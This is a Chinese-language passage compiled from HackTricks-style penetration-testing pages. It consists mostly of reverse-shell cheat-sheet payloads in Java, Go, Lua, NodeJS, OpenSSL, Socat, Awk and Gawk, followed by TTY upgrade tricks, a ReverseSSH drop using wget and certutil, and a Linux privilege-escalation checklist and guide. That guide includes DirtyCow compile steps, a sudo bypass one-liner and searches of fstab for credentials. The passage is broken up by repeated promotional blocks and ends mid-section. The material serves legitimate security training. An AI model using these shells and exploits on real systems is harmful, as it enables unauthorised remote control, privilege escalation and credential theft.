Java是一种通用编程语言，具有跨平台特性，适用于各种应用程序开发。 Java程序可以在不同操作系统上运行，只需安装适当的Java运行时环境（JRE）。 Java程序通常编译为字节码，然后在Java虚拟机（JVM）上运行。 Java在网络应用程序和移动应用程序开发中广泛使用。

```bash
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
```

## Ncat

Ncat是一个功能强大的网络工具，可以用于连接、读取和写入数据，以及进行端口扫描和监听。

```bash
victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl
attacker> ncat -v 10.0.0.22 4444 --ssl
```

## Golang

## Golang

```bash
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
```

## Lua

Lua是一种轻量级、高效的脚本语言，常用于嵌入式系统和游戏开发。 Lua脚本可以通过解释器执行，也可以编译成字节码运行。 Lua具有简洁的语法和强大的扩展能力，被广泛应用于各种领域。 Lua脚本可以通过C语言扩展，实现与底层系统的交互。 Lua的灵活性和易用性使其成为许多开发者的首选。

```bash
#Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
#Windows & Linux
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
```

## NodeJS

## NodeJS

```javascript
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "10.17.26.64", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();


or

require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')
require('child_process').exec("bash -c 'bash -i >& /dev/tcp/10.10.14.2/6767 0>&1'")

or

-var x = global.process.mainModule.require
-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')

or

// If you get to the constructor of a function you can define and execute another function inside a string
"".sub.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
"".__proto__.constructor.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()


or

// Abuse this syntax to get a reverse shell
var fs = this.process.binding('fs');
var fs = process.binding('fs');

or

https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
```

## OpenSSL

攻击者（Kali）

```bash
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
```

受害者

```bash
#Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>

#Windows
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
```

## **Socat**

<https://github.com/andrew-d/static-binaries>

### 绑定 shell

```bash
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
```

### 反向 shell

```bash
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
```

## Awk

Awk是一种强大的文本分析工具，可用于在Linux系统上处理文本数据。Awk提供了灵活的功能，可以轻松提取和处理文本文件中的特定信息。Awk通常与管道一起使用，使其成为自动化任务和数据处理的有用工具。

```bash
awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
```

## Finger

**攻击者**

```bash
while true; do nc -l 79; done
```

将命令写下来，按回车，然后按CTRL+D（停止STDIN）

**受害者**

```bash
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')`; sleep 1; done

export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done
```

## Gawk

## Gawk

```bash
#!/usr/bin/gawk -f

BEGIN {
Port    =       8080
Prompt  =       "bkd> "

Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
}
```

## Xterm

这将尝试连接到您系统的6001端口：

```bash
xterm -display 10.0.0.1:1
```

要捕获反向 shell，您可以使用以下命令（将在 6001 端口监听）：

```bash
# Authorize host
xhost +targetip
# Listen
Xnest :1
```

## Groovy

由[frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76)注意：Java反向shell也适用于Groovy

```bash
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

## 参考资料

* <https://highon.coffee/blog/reverse-shell-cheat-sheet/>
* <http://pentestmonkey.net/cheat-sheet/shells/reverse-shell>
* <https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/>
* <https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md>

**Try Hard Security Group**

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-dae1ef8c660e0243188462f22f417bbb1a2719d3%2Ftelegram-cloud-document-1-5159108904864449420.jpg?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://discord.gg/tryhardsecurity>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# Full TTYs

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 完整的TTY

请注意，在`SHELL`变量中设置的shell **必须**在 ***/etc/shells*** 中**列出**，或者`SHELL变量的值未在/etc/shells文件中找到，此事件已报告`。另外，请注意，下面的代码片段仅在bash中有效。如果您使用zsh，请在获取shell之前切换到bash，方法是运行`bash`。

#### Python

{% code overflow="wrap" %}

```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'

(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
```

{% endcode %}

{% hint style="info" %}
您可以执行 **`stty -a`** 来获取 **行数** 和 **列数** 的 **数字**
{% endhint %}

#### 脚本

{% code overflow="wrap" %}

```bash
script /dev/null -qc /bin/bash #/dev/null is to not store anything
(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
```

{% endcode %}

#### socat

```bash
#Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444

#Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
```

### 生成shell

* `python -c 'import pty; pty.spawn("/bin/sh")'`
* `echo os.system('/bin/bash')`
* `/bin/sh -i`
* `script -qc /bin/bash /dev/null`
* `perl -e 'exec "/bin/sh";'`
* perl: `exec "/bin/sh";`
* ruby: `exec "/bin/sh"`
* lua: `os.execute('/bin/sh')`
* IRB: `exec "/bin/sh"`
* vi: `:!bash`
* vi: `:set shell=/bin/bash:shell`
* nmap: `!sh`

## 反向SSH

一个方便的方式，用于**交互式shell访问**，以及**文件传输**和**端口转发**，是将静态链接的ssh服务器[ReverseSSH](https://github.com/Fahrj/reverse-ssh)放到目标上。

以下是一个针对`x86`的示例，使用upx压缩的二进制文件。对于其他二进制文件，请查看[发布页面](https://github.com/Fahrj/reverse-ssh/releases/latest/)。

1. 在本地准备以捕获ssh端口转发请求：

{% code overflow="wrap" %}

```bash
# Drop it via your preferred way, e.g.
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh

/dev/shm/reverse-ssh -v -l -p 4444
```

{% endcode %}

* (2a) Linux目标：

```bash
# Drop it via your preferred way, e.g.
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh

/dev/shm/reverse-ssh -p 4444 kali@10.0.0.2
```

* (2b) Windows 10目标（对于早期版本，请查看[项目自述](https://github.com/Fahrj/reverse-ssh#features)）：

```bash
# Drop it via your preferred way, e.g.
certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86.exe reverse-ssh.exe

reverse-ssh.exe -p 4444 kali@10.0.0.2
```

* 如果ReverseSSH端口转发请求成功，您现在应该能够使用默认密码`letmeinbrudipls`登录，以运行`reverse-ssh(.exe)`的用户的身份：

```bash
# Interactive shell access
ssh -p 8888 127.0.0.1

# Bidirectional file transfer
sftp -P 8888 127.0.0.1
```

## 无 TTY

如果由于某种原因无法获得完整的 TTY，则**仍然可以与期望用户输入的程序进行交互**。在以下示例中，密码被传递给 `sudo` 以读取文件：

```bash
expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "<THE_PASSWORD_OF_THE_USER>";send "\r\n";interact'
```

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

其他支持HackTricks的方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# Checklist - Linux Privilege Escalation

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-7ebaebfa37dac753bd916c91429befb49dfd6309%2Fimage%20(1)%20(3)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器，与经验丰富的黑客和赏金猎人交流！

**黑客见解**\
参与深入探讨黑客的刺激和挑战的内容

**实时黑客新闻**\
通过实时新闻和见解及时了解快节奏的黑客世界

**最新公告**\
随时了解最新的赏金任务发布和重要平台更新

**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy)，立即与顶尖黑客合作！

### **查找Linux本地权限提升向量的最佳工具：** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)

### [系统信息](/linux-hardening/privilege-escalation#system-information)

* [ ] 获取**操作系统信息**
* [ ] 检查[**PATH**](/linux-hardening/privilege-escalation#path)，是否有**可写入的文件夹**？
* [ ] 检查[**环境变量**](/linux-hardening/privilege-escalation#env-info)，是否有敏感信息？
* [ ] 使用脚本搜索[**内核漏洞**](/linux-hardening/privilege-escalation#kernel-exploits)（DirtyCow等）
* [ ] **检查**[**sudo版本是否有漏洞**](/linux-hardening/privilege-escalation#sudo-version)
* [ ] [**Dmesg**签名验证失败](/linux-hardening/privilege-escalation#dmesg-signature-verification-failed)
* [ ] 更多系统枚举（日期、系统统计、CPU信息、打印机等）（[privilege-escalation/#more-system-enumeration](/linux-hardening/privilege-escalation#more-system-enumeration)）
* [ ] [枚举更多防御措施](/linux-hardening/privilege-escalation#enumerate-possible-defenses)

### [驱动器](/linux-hardening/privilege-escalation#drives)

* [ ] 列出已挂载的驱动器
* [ ] 有未挂载的驱动器吗？
* [ ] 在fstab中有凭据吗？

### [**已安装软件**](/linux-hardening/privilege-escalation#installed-software)

* [ ] 检查已安装的[**有用软件**](/linux-hardening/privilege-escalation#useful-software)
* [ ] 检查已安装的[**易受攻击的软件**](/linux-hardening/privilege-escalation#vulnerable-software-installed)

### [进程](/linux-hardening/privilege-escalation#processes)

* [ ] 是否有运行的**未知软件**？
* [ ] 是否有以**比应有权限更高的权限**运行的软件？
* [ ] 搜索运行进程的**漏洞**（特别是正在运行的版本）。
* [ ] 是否可以**修改**任何正在运行进程的**二进制文件**？
* [ ] **监视进程**，检查是否有任何有趣的进程频繁运行。
* [ ] 是否可以**读取**一些有趣的**进程内存**（可能保存密码的地方）？

### [定时/Cron作业？](/linux-hardening/privilege-escalation#scheduled-jobs)

* [ ] 是否有一些cron修改了[**PATH**](/linux-hardening/privilege-escalation#cron-path)，您可以在其中**写入**吗？
* [ ] 任何cron作业中有[**通配符**](/linux-hardening/privilege-escalation#cron-using-a-script-with-a-wildcard-wildcard-injection)吗？
* [ ] 一些[**可修改的脚本**](/linux-hardening/privilege-escalation#cron-script-overwriting-and-symlink)正在被**执行**或位于**可修改的文件夹**中吗？
* [ ] 您是否发现某些**脚本**可能正在或已经[**非常频繁地执行**](/linux-hardening/privilege-escalation#frequent-cron-jobs)？（每1、2或5分钟）

### [服务](/linux-hardening/privilege-escalation#services)

* [ ] 有**可写的.service**文件吗？
* [ ] 有**由服务执行的可写二进制文件**吗？
* [ ] 在systemd PATH中有**可写的文件夹**吗？

### [定时器](/linux-hardening/privilege-escalation#timers)

* [ ] 有**可写的定时器**吗？

### [套接字](/linux-hardening/privilege-escalation#sockets)

* [ ] 有**可写的.socket**文件吗？
* [ ] 您可以与任何套接字**通信**吗？
* [ ] 有**包含有趣信息的HTTP套接字**吗？

### [D-Bus](/linux-hardening/privilege-escalation#d-bus)

* [ ] 您可以与任何D-Bus**通信**吗？

### [网络](/linux-hardening/privilege-escalation#network)

* [ ] 枚举网络以了解您所在的位置
* [ ] 在获取机器内部shell之前无法访问的**打开端口**？
* [ ] 您可以使用`tcpdump`**嗅探流量**吗？

### [用户](/linux-hardening/privilege-escalation#users)

* [ ] 通用用户/组**枚举**
* [ ] 您有一个**非常大的UID**吗？机器**易受攻击**吗？
* [ ] 您可以通过所属的组[**提升权限**](/linux-hardening/privilege-escalation/interesting-groups-linux-pe)吗？
* [ ] **剪贴板**数据？
* [ ] 密码策略？
* [ ] 尝试使用您之前发现的每个可能的**用户**的**已知密码**登录。也尝试无密码登录。

### [可写的PATH](/linux-hardening/privilege-escalation#writable-path-abuses)

* [ ] 如果您对PATH中的某个文件夹具有**写权限**，则可能可以提升权限

### [SUDO和SUID命令](/linux-hardening/privilege-escalation#sudo-and-suid)

* [ ] 您可以使用**sudo执行任何命令**吗？可以用它作为root用户**读取、写入或执行任何内容**吗？（[**GTFOBins**](https://gtfobins.github.io)）
* [ ] 是否有**可利用的SUID二进制文件**？（[**GTFOBins**](https://gtfobins.github.io)）
* [ ] [**sudo命令是否受到路径限制**？您可以**绕过**限制吗](/linux-hardening/privilege-escalation#sudo-execution-bypassing-paths)?
* [ ] [**未指定路径的Sudo/SUID二进制文件**](/linux-hardening/privilege-escalation#sudo-command-suid-binary-without-command-path)?
* [ ] [**指定路径的SUID二进制文件**](/linux-hardening/privilege-escalation#suid-binary-with-command-path)? 绕过
* [ ] [**LD\_PRELOAD漏洞**](/linux-hardening/privilege-escalation#ld_preload)
* [ ] 来自可写文件夹的SUID二进制文件中是否**缺少.so库**？（[privilege-escalation/#suid-binary-so-injection](/linux-hardening/privilege-escalation#suid-binary-so-injection)）
* [ ] 是否有**可重用的SUDO令牌**（[privilege-escalation/#reusing-sudo-tokens](/linux-hardening/privilege-escalation#reusing-sudo-tokens)）？您可以创建SUDO令牌吗（[privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than](/linux-hardening/privilege-escalation#var-run-sudo-ts-less-than-username-greater-than)）？
* [ ] 您可以[**读取或修改sudoers文件**](/linux-hardening/privilege-escalation#etc-sudoers-etc-sudoers-d)吗？
* [ ] 您可以[**修改/etc/ld.so.conf.d/**](/linux-hardening/privilege-escalation#etc-ld-so-conf-d)吗？
* [ ] [**OpenBSD DOAS**](/linux-hardening/privilege-escalation#doas)命令

### [功能](/linux-hardening/privilege-escalation#capabilities)

* [ ] 任何二进制文件具有**意外功能**吗？

### [ACLs](/linux-hardening/privilege-escalation#acls)

* [ ] 任何文件具有**意外ACL**吗？

### [打开Shell会话](/linux-hardening/privilege-escalation#open-shell-sessions)

* [ ] **screen**
* [ ] **tmux**

### [SSH](/linux-hardening/privilege-escalation#ssh)

* [ ] **Debian** [**OpenSSL可预测PRNG - CVE-2008-0166**](/linux-hardening/privilege-escalation#debian-openssl-predictable-prng-cve-2008-0166)
* [ ] [**SSH有趣的配置值**](/linux-hardening/privilege-escalation#ssh-interesting-configuration-values)

### [有趣的文件](/linux-hardening/privilege-escalation#interesting-files)

* [ ] **配置文件** - 读取敏感数据？写入提权？
* [ ] **passwd/shadow文件** - 读取敏感数据？写入提权？
* [ ] 检查通常包含敏感数据的文件夹
* [ ] **奇怪的位置/拥有的文件**，您可能可以访问或更改可执行文件
* [ ] **最近修改**的文件
* [ ] **Sqlite数据库文件**
* [ ] **隐藏文件**
* [ ] **路径中的脚本/二进制文件**
* [ ] **Web文件**（密码？）
* [ ] **备份**？
* [ ] **包含密码的已知文件**：使用**Linpeas**和**LaZagne**
* [ ] **通用搜索**

### [**可写文件**](/linux-hardening/privilege-escalation#writable-files)

* [ ] **修改Python库**以执行任意命令？
* [ ] 您可以**修改日志文件**吗？**Logtotten**漏洞
* [ ] 您可以\*\*修改/etc/sysconfig/network-scripts/\*\*吗？Centos/Redhat漏洞
* [ ] 您可以在[**ini、int.d、systemd或rc.d文件中写入**](/linux-hardening/privilege-escalation#init-init-d-systemd-and-rc-d)吗？

### [**其他技巧**](/linux-hardening/privilege-escalation#other-tricks)

* [ ] 您可以[**滥用NFS提升权限**](/linux-hardening/privilege-escalation#nfs-privilege-escalation)吗？
* [ ] 您需要[**从受限制的shell中逃脱**](/linux-hardening/privilege-escalation#escaping-from-restricted-shells)吗？


# Linux Privilege Escalation

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 系统信息

### 操作系统信息

让我们开始获取运行的操作系统的一些信息。

```bash
(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems
```

### 路径

如果您**对`PATH`变量中的任何文件夹具有写权限**，则可能能够劫持一些库或二进制文件：

```bash
echo $PATH
```

### 环境信息

环境变量中是否包含有密码、API密钥等敏感信息？

```bash
(env || set) 2>/dev/null
```

### 内核漏洞

检查内核版本，看是否存在可用于提升权限的漏洞。

```bash
cat /proc/version
uname -a
searchsploit "Linux Kernel"
```

您可以在以下位置找到一份良好的易受攻击内核列表以及一些已经**编译好的利用程序**：<https://github.com/lucyoa/kernel-exploits> 和 [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits)。\
其他一些可以找到**编译好的利用程序**的网站包括：<https://github.com/bwbwbwbw/linux-exploit-binaries> 和 <https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack>

要从该网站提取所有易受攻击的内核版本，您可以执行以下操作：

```bash
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
```

以下是一些可用于搜索内核漏洞利用的工具：

[linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)（仅在受害者中执行，仅检查内核2.x的漏洞利用）

始终**在Google中搜索内核版本**，也许你的内核版本已经写在某个内核漏洞利用中，这样你就可以确保该漏洞利用是有效的。

### CVE-2016-5195（DirtyCow）

Linux权限提升 - Linux内核 <= 3.19.0-73.8

```bash
# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
```

### Sudo版本

基于出现在以下漏洞sudo版本：

```bash
searchsploit sudo
```

您可以使用以下grep命令检查sudo版本是否存在漏洞。

```bash
sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"
```

#### sudo < v1.28

来自 @sickrov

```
sudo -u#-1 /bin/bash
```

### Dmesg签名验证失败

检查**HTB的smasher2 box**，了解如何利用此漏洞的**示例**。

```bash
dmesg 2>/dev/null | grep "signature"
```

### 更多系统枚举

```bash
date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info
```

## 枚举可能的防御措施

### AppArmor

```bash
if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi
```

### Grsecurity

### Grsecurity

```bash
((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")
```

### PaX

### PaX

```bash
(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")
```

### Execshield

### Execshield

```bash
(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")
```

### SElinux

### SElinux

```bash
(sestatus 2>/dev/null || echo "Not found sestatus")
```

### ASLR

### 地址空间布局随机化

```bash
cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled
```

## Docker逃逸

如果你在一个Docker容器内部，你可以尝试从中逃脱：

{% content-ref url="/pages/zcVYraL309wKa4F2QNBc" %}
[Docker Security](/linux-hardening/privilege-escalation/docker-security)
{% endcontent-ref %}

## 驱动器

检查已挂载和未挂载的内容，以及它们的位置和原因。如果有任何未挂载的内容，你可以尝试挂载它并检查是否包含私人信息。

```bash
ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null
```

## 有用的软件

列举有用的可执行文件

```bash
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
```

另外，检查是否**已安装任何编译器**。如果需要使用某些内核利用技术，这将非常有用，因为建议在要使用该技术的机器上（或类似的机器上）进行编译。

```bash
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
```

### 已安装的易受攻击软件

检查**已安装软件包和服务的版本**。也许有一些旧的 Nagios 版本（例如）可能被利用来提升权限...\
建议手动检查更可疑的已安装软件的版本。

```bash
dpkg -l #Debian
rpm -qa #Centos
```

如果您可以访问机器的SSH，您还可以使用**openVAS**来检查机器内安装的过时和易受攻击的软件。

{% hint style="info" %}
*请注意，这些命令将显示大量大多数情况下无用的信息，因此建议使用一些类似OpenVAS的应用程序，以检查安装的软件版本是否容易受到已知漏洞的影响*
{% endhint %}

## 进程

查看正在执行的**进程**，并检查是否有任何进程具有**比应有的更多权限**（也许是由root执行的tomcat？）

```bash
ps aux
ps -ef
top -n 1
```

始终检查可能正在运行的[**electron/cef/chromium调试器**，您可以滥用它来提升权限](/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse)。**Linpeas**通过检查进程的命令行中的`--inspect`参数来检测这些调试器。\
还要**检查您对进程二进制文件的权限**，也许您可以覆盖某人的权限。

### 进程监控

您可以使用像[**pspy**](https://github.com/DominicBreuker/pspy)这样的工具来监控进程。这对于识别频繁执行的易受攻击的进程或在满足一组要求时非常有用。

### 进程内存

服务器的一些服务会在内存中以**明文**保存**凭据**。\
通常，您需要**root权限**才能读取属于其他用户的进程的内存，因此当您已经是root并希望发现更多凭据时，这通常更有用。\
但是，请记住**作为普通用户，您可以读取自己拥有的进程的内存**。

{% hint style="warning" %}
请注意，如今大多数机器**默认不允许ptrace**，这意味着您无法转储属于您非特权用户的其他进程。

